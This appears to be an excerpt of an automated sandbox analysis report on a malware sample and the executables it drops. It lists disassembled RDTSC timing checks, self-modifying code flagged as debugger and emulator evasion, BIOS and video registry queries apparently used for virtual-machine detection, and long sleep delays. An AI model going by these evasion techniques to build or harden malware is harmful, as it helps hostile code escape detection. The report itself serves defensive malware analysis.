Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF02B3 second address: 4AF0314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4B931CEE19h 0x0000000f jmp 00007F4B20D90AD6h 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b jmp 00007F4B20D90AD0h 0x00000020 je 00007F4B931CEDFCh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4B20D90AD7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0314 second address: 4AF033B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 48h 0x00000005 mov cx, 9157h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edx, dword ptr [esi+44h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4B2071E954h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF033B second address: 4AF033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF033F second address: 4AF0345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0345 second address: 4AF0367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bx, 9440h 0x00000013 mov ebx, 61E4B46Ch 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0367 second address: 4AF036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF036D second address: 4AF0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0371 second address: 4AF03AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e jmp 00007F4B2071E958h 0x00000013 jne 00007F4B92B5CC37h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4B2071E94Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03AB second address: 4AF03B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03B1 second address: 4AF03F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 8B83h 0x00000007 mov ah, 5Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test byte ptr [esi+48h], 00000001h 0x00000010 jmp 00007F4B2071E94Bh 0x00000015 jne 00007F4B92B5CC1Bh 0x0000001b pushad 0x0000001c mov dl, ch 0x0000001e mov eax, edx 0x00000020 popad 0x00000021 test bl, 00000007h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F4B2071E956h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03F3 second address: 4AF03F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF03F9 second address: 4AF03FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE08E6 second address: 4AE0951 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4B20D90AD9h 0x00000008 sub cl, 00000036h 0x0000000b jmp 00007F4B20D90AD1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx eax, di 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F4B20D90AD3h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F4B20D90AD6h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 pop edx 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0951 second address: 4AE0967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E952h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0967 second address: 4AE0976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0976 second address: 4AE098E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE098E second address: 4AE0994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0994 second address: 4AE0998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0998 second address: 4AE09BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F4B20D90AD2h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09BB second address: 4AE09C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09C0 second address: 4AE09E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90ACEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4B20D90ACCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09E2 second address: 4AE09E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09E8 second address: 4AE09EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09EC second address: 4AE09FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov si, di 0x0000000e push eax 0x0000000f push edx 0x00000010 mov si, bx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE09FF second address: 4AE0A03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0A03 second address: 4AE0A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F4B92B642CAh 0x0000000d jmp 00007F4B2071E959h 0x00000012 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4B2071E94Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0A3F second address: 4AE0A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007F4B20D90ACEh 0x00000010 je 00007F4B931D6405h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop eax 0x0000001b pushfd 0x0000001c jmp 00007F4B20D90AD9h 0x00000021 sub ch, FFFFFFF6h 0x00000024 jmp 00007F4B20D90AD1h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0A9F second address: 4AE0B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4B2071E957h 0x00000008 pop ecx 0x00000009 mov di, 0A5Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test byte ptr [76FB6968h], 00000002h 0x00000017 jmp 00007F4B2071E94Bh 0x0000001c jne 00007F4B92B64229h 0x00000022 jmp 00007F4B2071E956h 0x00000027 mov edx, dword ptr [ebp+0Ch] 0x0000002a jmp 00007F4B2071E950h 0x0000002f xchg eax, ebx 0x00000030 pushad 0x00000031 call 00007F4B2071E94Eh 0x00000036 jmp 00007F4B2071E952h 0x0000003b pop esi 0x0000003c pushfd 0x0000003d jmp 00007F4B2071E94Bh 0x00000042 or ch, 0000004Eh 0x00000045 jmp 00007F4B2071E959h 0x0000004a popfd 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F4B2071E953h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0B67 second address: 4AE0B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0C57 second address: 4AE0C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0C74 second address: 4AE0C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0C7A second address: 4AE0C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0C7E second address: 4AE0C9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4B20D90AD1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0C9C second address: 4AE0CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0D36 second address: 4AF0D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 push ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F4B20D90AD7h 0x00000010 movzx esi, bx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0D5C second address: 4AF0D71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E951h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0D71 second address: 4AF0D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f movzx esi, di 0x00000012 mov al, dh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0D9A second address: 4AF0D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0D9E second address: 4AF0DA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B89 second address: 4AF0B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B8D second address: 4AF0B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B91 second address: 4AF0B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7068D second address: 4B706D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushfd 0x00000007 jmp 00007F4B20D90AD3h 0x0000000c add ah, 0000004Eh 0x0000000f jmp 00007F4B20D90AD9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706D0 second address: 4B706D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706D4 second address: 4B706D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706D8 second address: 4B706DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706DE second address: 4B706E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706E4 second address: 4B706FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706FE second address: 4B70704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6099F second address: 4B609A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609A3 second address: 4B609A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609A7 second address: 4B609AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609AD second address: 4B609B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609B3 second address: 4B609CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B2071E94Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov al, AFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B609CD second address: 4B60A11 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4B20D90AD9h 0x00000008 and ah, 00000066h 0x0000000b jmp 00007F4B20D90AD1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov edi, esi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov si, A625h 0x0000001e mov eax, 042A7FA1h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607B1 second address: 4B607B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607B7 second address: 4B60817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4B20D90AD3h 0x00000013 and cl, FFFFFFAEh 0x00000016 jmp 00007F4B20D90AD9h 0x0000001b popfd 0x0000001c call 00007F4B20D90AD0h 0x00000021 pop eax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60817 second address: 4B60846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4B2071E94Eh 0x00000009 and ecx, 53B1A058h 0x0000000f jmp 00007F4B2071E94Bh 0x00000014 popfd 0x00000015 mov dh, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov dl, ah 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00007 second address: 4B0000E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0000E second address: 4B00058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 jmp 00007F4B2071E954h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx ebx, cx 0x00000014 pushfd 0x00000015 jmp 00007F4B2071E956h 0x0000001a add cl, 00000008h 0x0000001d jmp 00007F4B2071E94Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00058 second address: 4B00098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F4B20D90AD3h 0x0000001b mov ch, 14h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00098 second address: 4B000AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B2071E951h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000AD second address: 4B000E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f jmp 00007F4B20D90AD3h 0x00000014 pop eax 0x00000015 movsx edi, si 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000E7 second address: 4B000EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000EB second address: 4B00108 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B20D90AD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E8EB18 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 102F447 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10383B7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AFEB18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9F447 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CA83B7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 66C8AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 834A27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 81B693 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 897340 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Special instruction interceptor: First address: C0F8F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Special instruction interceptor: First address: C0F9CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Special instruction interceptor: First address: E2B634 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Special instruction interceptor: First address: DD9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Special instruction interceptor: First address: 2774AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 65AD9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Special instruction interceptor: First address: 67474AD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 4A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 4D70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 4BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 51C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 5460000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Memory allocated: 7460000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B60C22 rdtsc

0_2_04B60C22

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1045	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1026	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Window / User API: threadDelayed 1104

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

API coverage: 4.0 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7860	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7860	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep count: 1188 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep time: -2377188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7840	Thread sleep count: 1045 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7840	Thread sleep time: -2091045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7820	Thread sleep count: 294 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7820	Thread sleep time: -8820000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7856	Thread sleep count: 1026 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7856	Thread sleep time: -2053026s >= -30000s	Jump to behavior
